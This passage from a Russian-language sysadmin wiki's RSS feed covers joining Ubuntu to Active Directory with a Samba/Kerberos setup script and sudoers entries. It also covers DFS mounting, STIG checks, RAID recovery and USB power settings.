&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043a AD - Join AD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e_\u043f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435_\u043a_ad_-_join_ad&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;6332-6458&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;права_sudo_для_доменных_пользователей_-_ad_users_sudoers&quot;&gt;Права sudo для доменных пользователей - AD users sudoers&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
После присоединения можно добавить доменных пользователей в группу &lt;strong&gt;sudo&lt;/strong&gt; для того, чтобы дать права:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo usermod -aG sudo domain_user_name&lt;/pre&gt;

&lt;p&gt;
Для добавления групп - редактируем &lt;strong&gt;/etc/sudoers&lt;/strong&gt;  с помощью &lt;strong&gt;visudo&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo visudo&lt;/pre&gt;

&lt;p&gt;
Группы добавляются с помощью строк, начинающихся с &lt;strong&gt;%&lt;/strong&gt;, пробелы в названиях групп заменяются на &lt;strong&gt;^&lt;/strong&gt;, а слеш экранируется &lt;strong&gt;\\&lt;/strong&gt;.  &lt;br/&gt;

Для добавления доменных админов нужно добавить строку:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;%DOMAIN\\domain^admins     ALL=(ALL:ALL) ALL&lt;/pre&gt;

&lt;p&gt;
или без домена (в зависимости от настроек):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;%domain^admins     ALL=(ALL:ALL) ALL&lt;/pre&gt;

&lt;p&gt;
В любом случае - проверить, что система видит доменного пользователя и получить текущий список его групп можно командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo -u domainusername groups&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0430\u0432\u0430 sudo \u0434\u043b\u044f \u0434\u043e\u043c\u0435\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 - AD users sudoers&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0430\u0432\u0430_sudo_\u0434\u043b\u044f_\u0434\u043e\u043c\u0435\u043d\u043d\u044b\u0445_\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439_-_ad_users_sudoers&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;6459-7660&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit6&quot; id=&quot;проверка&quot;&gt;Проверка&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Убедиться, что в системе видны пользователи домена можно командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; wbinfo -u&lt;/pre&gt;

&lt;p&gt;
В выводе должны быть все пользователи домена.&lt;br/&gt;

Также можно увидеть доступные группы:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wbinfo -g&lt;/pre&gt;

&lt;p&gt;
Пробуем залогиниться доменным пользователем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;su -l domain.user&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;7661-8101&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit7&quot; id=&quot;скрипт_для_быстрого_присоединения_ubuntu_к_домену_active_directory&quot;&gt;Скрипт для быстрого присоединения Ubuntu к домену Active Directory&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Данный скрипт я использую для быстрой настройки и присоединения к домену машин (и контейнеров) без специальных требований. Просто для аутентификации пользователей из AD. Проверено на &lt;strong&gt;Ubuntu 16.04, 18.04, 19.04, 19.10&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#! /bin/bash

####################################
#### Set needed Variables
####################################
NEW_DOMAINNAME=&amp;quot;domain.local&amp;quot;
DNS_SERVERS=&amp;quot;192.168.1.100 192.168.1.1&amp;quot;
DNS_STATIC_SEARCHLIST=&amp;quot;$NEW_DOMAINNAME&amp;quot;
DOMAIN_CONTROLLERS=`host -t srv _ldap._tcp.$NEW_DOMAINNAME | awk {&amp;#039;print $8&amp;#039;} | sed &amp;#039;s/.$//g&amp;#039;`
DEFAULT_REALM=&amp;quot;${NEW_DOMAINNAME^^}&amp;quot;
NETBIOS_DOMAIN_NAME=$(echo $DEFAULT_REALM | sed  &amp;#039;1,$ s/\..*//g&amp;#039;)

# check root
if [ &amp;quot;$(id -u)&amp;quot; != &amp;quot;0&amp;quot; ]; then
  echo &amp;quot;You do not have the appropriate privileges...&amp;quot;
  exit 1
fi

##############################################
### Setting up NameServers
##############################################
echo &amp;quot;search $DNS_STATIC_SEARCHLIST&amp;quot; | sudo tee -a /etc/resolvconf/resolv.conf.d/base
echo -ne &amp;gt; /etc/resolvconf/resolv.conf.d/head
for nameserver in $DNS_SERVERS; do echo &amp;quot;nameserver $nameserver&amp;quot; | sudo tee -a /etc/resolvconf/resolv.conf.d/head ;done
resolvconf -u

####################################
#### Setup Software
####################################
apt-get update
apt-get -y upgrade
apt-get -y install nano curl openssl libnss3-tools software-properties-common \
chrony krb5-config krb5-locales krb5-user libpam-krb5 \
samba smbclient winbind libpam-winbind libnss-winbind gss-ntlmssp \
ldap-utils cifs-utils libsasl2-modules-gssapi-mit

###############################################
### Setup Services
###############################################
systemctl enable ssh
systemctl enable nmbd.service
systemctl enable samba.service
systemctl enable winbind.service

#########################################
### Setup NTP servers
#########################################
sed -i &amp;quot;/^pool.*\$/ s/^/#/&amp;quot; /etc/chrony/chrony.conf
sed -i &amp;quot;/^server.*\$/ s/^/#/&amp;quot; /etc/chrony/chrony.conf

for dc in $DOMAIN_CONTROLLERS;
do
echo &amp;quot;server $dc iburst&amp;quot; | sudo tee -a /etc/chrony/chrony.conf
done

#########################################
### Setup Kerberos /etc/krb5.conf
#########################################
LIBDEFAULTS=$(cat &amp;lt;&amp;lt;EOF
[libdefaults]
dns_lookup_kdc = true
dns_lookup_realm = false
default_realm = $DEFAULT_REALM
clockskew = 300
default_ccache_name = FILE:/tmp/krb5cc_%{uid}
EOF
)

REALMS_KDC=$(for i in $DOMAIN_CONTROLLERS; do echo &amp;quot;kdc = $i&amp;quot;;done)

REALMS=$(cat &amp;lt;&amp;lt;EOF

[realms]
$DEFAULT_REALM = {
$REALMS_KDC
default_domain = $DEFAULT_REALM
}
EOF
)

DOMAIN_REALM=$(cat &amp;lt;&amp;lt;EOF

[domain_realm]
.$NEW_DOMAINNAME = $DEFAULT_REALM
$NEW_DOMAINNAME = $DEFAULT_REALM

[appdefaults]
pam = {
        ticket_lifetime = 1d
        renew_lifetime = 1d
        forwardable = true
        proxiable = false
        minimum_uid = 1
}
EOF
)

echo &amp;quot;$LIBDEFAULTS&amp;quot; &amp;gt; /etc/krb5.conf
echo &amp;quot;$REALMS&amp;quot; &amp;gt;&amp;gt; /etc/krb5.conf
echo &amp;quot;$DOMAIN_REALM&amp;quot; &amp;gt;&amp;gt; /etc/krb5.conf

########################################
#### Configure /etc/samba/smb.conf
########################################
SMB_CONF=$(cat &amp;lt;&amp;lt;EOF
# smb.conf is the main Samba configuration file. You find a full commented
# version at /usr/share/doc/packages/samba/examples/smb.conf.SUSE if the
# samba-doc package is installed.
[global]
        realm = $DEFAULT_REALM
        security = ADS
        workgroup = $NETBIOS_DOMAIN_NAME
        passdb backend = tdbsam
        map to guest = Bad User
        include = /etc/samba/dhcp.conf
        usershare allow guests = No
        idmap gid = 10000-20000
        idmap uid = 10000-20000
        template homedir = /home/%D/%U
        template shell = /bin/bash
        usershare max shares = 100
        encrypt passwords = yes
        kerberos method = secrets and keytab
        winbind nested groups = yes
        winbind offline logon = yes
        winbind refresh tickets = yes
        winbind use default domain = yes
        dns proxy = no
        domain master = no
        local master = no
        preferred master = no
        load printers = no
        show add printer wizard = no
        printcap name = /dev/null
        disable spoolss = yes
        client use spnego = yes
        client ntlmv2 auth = yes
        client max protocol = SMB2
        client min protocol = SMB2
EOF
)

mv /etc/samba/smb.conf /etc/samba/smb.conf.bak_`date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;`
echo &amp;quot;$SMB_CONF&amp;quot; &amp;gt; /etc/samba/smb.conf

########################################
#### Configure /etc/nsswitch.conf
########################################
sed -i &amp;#039;/^passwd:.*systemd/ s/$/ winbind/&amp;#039; /etc/nsswitch.conf
sed -i &amp;#039;/^group:.*systemd$/ s/$/ winbind/&amp;#039; /etc/nsswitch.conf
sed -i &amp;#039;/^hosts:/ s/:.*$/: files dns/&amp;#039; /etc/nsswitch.conf

##########################################
#### Configure PAM
##########################################
sed -i &amp;quot;/^Default:.*\$/ s/:.*$/: yes/&amp;quot; /usr/share/pam-configs/mkhomedir
sed -i &amp;#039;/^mkhomedir/D&amp;#039; /var/lib/pam/seen
pam-auth-update --package&lt;/pre&gt;

&lt;p&gt;
Для присоединения:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;net ads joun -U domain_admin_loginname&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e \u043f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f Ubuntu \u043a \u0434\u043e\u043c\u0435\u043d\u0443 Active Directory&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043a\u0440\u0438\u043f\u0442_\u0434\u043b\u044f_\u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e_\u043f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f_ubuntu_\u043a_\u0434\u043e\u043c\u0435\u043d\u0443_active_directory&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;8102-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 03 Dec 2019 20:24:51 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_16.04_cant_mount_dfs</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_16.04_cant_mount_dfs</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В &lt;strong&gt;Unbunu 16.04 Xenial&lt;/strong&gt; не монтирует папки DFS.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-99&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Оказалось это проблема ядра и все версии новее &lt;strong&gt;4.4.0.36&lt;/strong&gt; не работают нормально с DFS (как минимум до 4.8).
Описание бага тут: &lt;a href=&quot;https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1626112&quot; class=&quot;urlextern&quot; title=&quot;https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1626112&quot; rel=&quot;ugc nofollow&quot;&gt;https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1626112&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
Нужно просто откатиться на версию ядра &lt;strong&gt;4.4.0.36&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get purge linux-generic linux-headers-4.4.0-38 linux-headers-4.4.0-38-generic linux-headers-generic linux-image-4.4.0-38-generic linux-image-generic
sudo apt-get install linux-headers-4.4.0-36-generic linux-headers-4.4.0-36-lowlatency linux-image-4.4.0-36-lowlatency linux-image-extra-4.4.0-36-generic
sudo apt-mark hold linux-headers-4.4.0-36-generic linux-headers-4.4.0-36-lowlatency linux-image-4.4.0-36-lowlatency linux-image-extra-4.4.0-36-generic&lt;/pre&gt;

&lt;p&gt;
Если вдруг надо обновляться:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-mark unhold linux-headers-4.4.0-36-generic linux-headers-4.4.0-36-lowlatency linux-image-4.4.0-36-lowlatency linux-image-extra-4.4.0-36-generic
sudo apt-get update
sudo apt-get upgrade&lt;/pre&gt;

&lt;p&gt;
Я пользуюсь &lt;strong&gt;pam_mount&lt;/strong&gt; и у меня все заработало сразу после перезагруки.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;100-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_16.04_check_stig_compliance_check</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_16.04_check_stig_compliance_check</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;hardening_linux_-_ubuntu_1604_check_stig_compliance_check&quot;&gt;Hardening Linux - Ubuntu 16.04 check STIG compliance check&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
STIG (Security Technical Implementation Guide) - стандарт министерства обороны США (DOD) &lt;br/&gt;

&lt;a href=&quot;https://access.redhat.com/blogs/766093/posts/1976103&quot; class=&quot;urlextern&quot; title=&quot;https://access.redhat.com/blogs/766093/posts/1976103&quot; rel=&quot;ugc nofollow&quot;&gt;https://access.redhat.com/blogs/766093/posts/1976103&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;http://manpages.ubuntu.com/manpages/zesty/man8/scap-workbench.8.html&quot; class=&quot;urlextern&quot; title=&quot;http://manpages.ubuntu.com/manpages/zesty/man8/scap-workbench.8.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://manpages.ubuntu.com/manpages/zesty/man8/scap-workbench.8.html&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;http://www.public.navy.mil/spawar/Atlantic/Technology/Pages/SCAP.aspx&quot; class=&quot;urlextern&quot; title=&quot;http://www.public.navy.mil/spawar/Atlantic/Technology/Pages/SCAP.aspx&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.public.navy.mil/spawar/Atlantic/Technology/Pages/SCAP.aspx&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://github.com/OpenSCAP/scap-security-guide/tree/master/Ubuntu/16.04&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/OpenSCAP/scap-security-guide/tree/master/Ubuntu/16.04&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/OpenSCAP/scap-security-guide/tree/master/Ubuntu/16.04&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://conklin.io/assessing-centos-7-with-openscap/&quot; class=&quot;urlextern&quot; title=&quot;https://conklin.io/assessing-centos-7-with-openscap/&quot; rel=&quot;ugc nofollow&quot;&gt;https://conklin.io/assessing-centos-7-with-openscap/&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://public.cyber.mil/?s=ubuntu&quot; class=&quot;urlextern&quot; title=&quot;https://public.cyber.mil/?s=ubuntu&quot; rel=&quot;ugc nofollow&quot;&gt;https://public.cyber.mil/?s=ubuntu&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install cmake build-essential openssh-client util-linux libopenscap-dev qtbase5-dev git asciidoctor 
git clone https://github.com/OpenSCAP/scap-workbench
cd scap-workbench/
mkdir build; cd build
cmake ../
make&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Hardening Linux - Ubuntu 16.04 check STIG compliance check&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;hardening_linux_-_ubuntu_1604_check_stig_compliance_check&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-805&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;disa_stig_на_centos&quot;&gt;DISA STIG на CentOS&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Best practice to scan the CentOS? &lt;br/&gt;

&lt;br/&gt;

Q: &lt;br/&gt;

How can we use the DISA RHEL 7 STIG against CentOS box? &lt;br/&gt;

Do we need to make modification in the RHEL 7 STIG? If so, steps to do that? &lt;br/&gt;

&lt;br/&gt;

A: &lt;br/&gt;

As long as the /etc/redhat-release file has the &amp;#039;release 7&amp;#039; text in it, it should work. If CentOS does not have the /etc/redhat-release file, you can do one of the following… &lt;br/&gt;

&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Create a /etc/redhat-release file and add &amp;#039;CentOS Linux release 7&amp;#039; into it.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Download the audit file, and the line &amp;#039; file : “/etc/redhat-release”&amp;#039; to &amp;#039; file : “/etc/centos-release”&amp;#039;
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;DISA STIG \u043d\u0430 CentOS&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;disa_stig_\u043d\u0430_centos&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;806-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Sat, 04 Feb 2023 08:27:45 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_16.04_lemp</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_16.04_lemp</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;disable_ipv6&quot;&gt;Disable IPv6&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Чтобы выключить IPv6 правим файлик &lt;strong&gt;/etc/sysctl.conf&lt;/strong&gt; и добавляем туда строки:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;##Disable IPv6
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Disable IPv6&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;disable_ipv6&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-286&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;hostname&quot;&gt;Hostname&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В файликах &lt;strong&gt;/etc/hostname&lt;/strong&gt; и &lt;strong&gt;/etc/hosts&lt;/strong&gt; нужно прописать имя хоста, а потом перезагрузиться.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Hostname&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;hostname&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;287-462&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;lemp&quot;&gt;LEMP&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;LEMP&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;lemp&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;463-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_16.04_mdadm_raid_boot_initramfs_only</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_16.04_mdadm_raid_boot_initramfs_only</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Система &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt; установлена на программный (mdadm) RAID1.
Массив &lt;strong&gt;/dev/md0&lt;/strong&gt; загрузочный и монтируется в &lt;strong&gt;/boot&lt;/strong&gt;
Массив &lt;strong&gt;/dev/md1&lt;/strong&gt; - это lvm physical volume. На нем два lv - один монтируется в корень / и второй - &lt;strong&gt;swap&lt;/strong&gt;.
&lt;/p&gt;

&lt;p&gt;
Если вывести из строя один из дисков, то система загружается только в &lt;strong&gt;intramfs&lt;/strong&gt; и сообщает, что не найден Volume group.
&lt;/p&gt;

&lt;p&gt;
Для начала смотрим что у нас в &lt;strong&gt;/proc/mdstat&lt;/strong&gt;. А там, скорее всего, оба массива inactive.
Запускаем их:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mdadm --run /dev/md0
mdadm --run /dev/md1&lt;/pre&gt;

&lt;p&gt;
Затем нужно найти (если они не нашлись автоматически) &lt;strong&gt;physical volume&lt;/strong&gt; и активировать &lt;strong&gt;volume group&lt;/strong&gt;. Запускаем lvm:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lvm&lt;/pre&gt;

&lt;p&gt;
И там выполняем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;pvscan 
vgchange -ay&lt;/pre&gt;

&lt;p&gt;
В результате должно быть так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;logical volumes in volume group now active&lt;/pre&gt;

&lt;p&gt;
Все. 
Выходим из lvm и из initramfs shell
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;exit
exit&lt;/pre&gt;

&lt;p&gt;
A start job is running for dev-disk-by\
&lt;/p&gt;

&lt;p&gt;
/boot в /etc/fstab
&lt;/p&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_16.04_usb_keyboard_mouse_stops_working</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_16.04_usb_keyboard_mouse_stops_working</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
На &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt; периодически отключаются клавиатура и мышь.
Но при этом, комп нормально реагирует на кнопку выключения. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-246&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;причина&quot;&gt;Причина&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Причина, судя по всему, в том, что &lt;strong&gt;USB&lt;/strong&gt; переходит в режим энергосбережения. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0438\u0447\u0438\u043d\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0438\u0447\u0438\u043d\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;247-412&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Чтобы временно (до перезагрузки) отключить энергосбережение USB выполняем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo sh -c &amp;quot;echo -1 &amp;gt; /sys/module/usbcore/parameters/autosuspend&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Чтобы раз и навсегда выключить энергосбережение &lt;strong&gt;USB&lt;/strong&gt; нужно добавить параметрам запуска ядра такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;usbcore.autosuspend=-1&lt;/pre&gt;

&lt;p&gt;
Для этого - редактируем файлик &lt;strong&gt;/etc/default/grub&lt;/strong&gt;, редактируем параметры запуска ядра в переменной &lt;strong&gt;GRUB_CMDLINE_LINUX_DEFAULT&lt;/strong&gt;, выполняем 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo update-grub&lt;/pre&gt;

&lt;p&gt;
И перезагружаемся.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;413-1129&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;аналогично&quot;&gt;Аналогично&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;magicmouse 0005:05AC:030D.0036: unknown main item tag 0x0&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;1130-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 02 Mar 2022 12:27:05 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_18.04_resize_root_partiton</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_18.04_resize_root_partiton</link>
            <description>
&lt;p&gt;
